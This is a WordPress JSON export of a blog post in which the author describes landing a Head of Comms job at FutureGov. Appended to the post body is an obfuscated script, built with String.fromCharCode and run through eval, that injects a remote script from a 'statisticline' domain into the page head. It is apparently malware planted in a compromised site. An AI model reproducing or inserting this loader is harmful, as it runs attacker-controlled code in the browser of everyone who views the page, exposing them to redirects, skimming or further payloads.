{"id":5466,"date":"2023-06-09T10:56:45","date_gmt":"2023-06-09T10:56:45","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/communicating-the-future-guv\/"},"modified":"2023-06-09T10:56:45","modified_gmt":"2023-06-09T10:56:45","slug":"communicating-the-future-guv","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/communicating-the-future-guv\/","title":{"rendered":"Communicating the Future, Guv"},"content":{"rendered":"<p><img class=&quot;aligncenter size-large wp-image-121&quot; alt=&quot;FutureGov&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2013\/03\/Computer_Pink-720x500.jpg&quot; width=&quot;720&quot; height=&quot;500&quot; \/><\/p>\n<p dir=&quot;ltr&quot;>So, it was December 2012 and I was travelling in South America (La Paz, Bolivia, to be exact). And I was on the interwebz, checking Twitter, as you do. And I saw a job post for a company called FutureGov.<\/p>\n<p dir=&quot;ltr&quot;>The job was for Head of Comms, which sounded good to me. The skills required were things like PR, Social Media, Blogging, Events &#8211; all of which I can do. Plus it would be working on projects that do social good, a lot of social good. Which I loved.<\/p>\n<p dir=&quot;ltr&quot;>So I applied. And promptly forgot about it all as you are likely to do when travelling around such an amazing continent as South America.<\/p>\n<p dir=&quot;ltr&quot;>And then I got an email. And then when I got back to the UK from South America, I had an interview. Then I was told I had a job.<\/p>\n<p dir=&quot;ltr&quot;>Say hello to the new Head of Comms at FutureGov.<\/p>\n<p dir=&quot;ltr&quot;>I started at the role this week and can honestly say it\u2019s been as fantastic and exciting as expected. Not only do I get to work on interesting projects such as Casserole Club and Patchwork, but I also get to work with a bunch of passionate, clever and sociable people. And Dominic Campbell.<\/p>\n<p dir=&quot;ltr&quot;>I\u2019m already getting my mitts stuck in deep to the good stuff at the heart of FutureGov, learning a lot as I go, so expect to see and hear more from me over the next few months.<\/p>\n<p dir=&quot;ltr&quot;>If you need to reach me or desperately buy me a coffee\/beer to get the lowdown on all things FutureGov, email me at ben@wearefuturegov.com<\/p>\n<p dir=&quot;ltr&quot;>Look forward to hearing from you.<\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So, it was December 2012 and I was travelling in South America (La Paz, Bolivia, to be exact). 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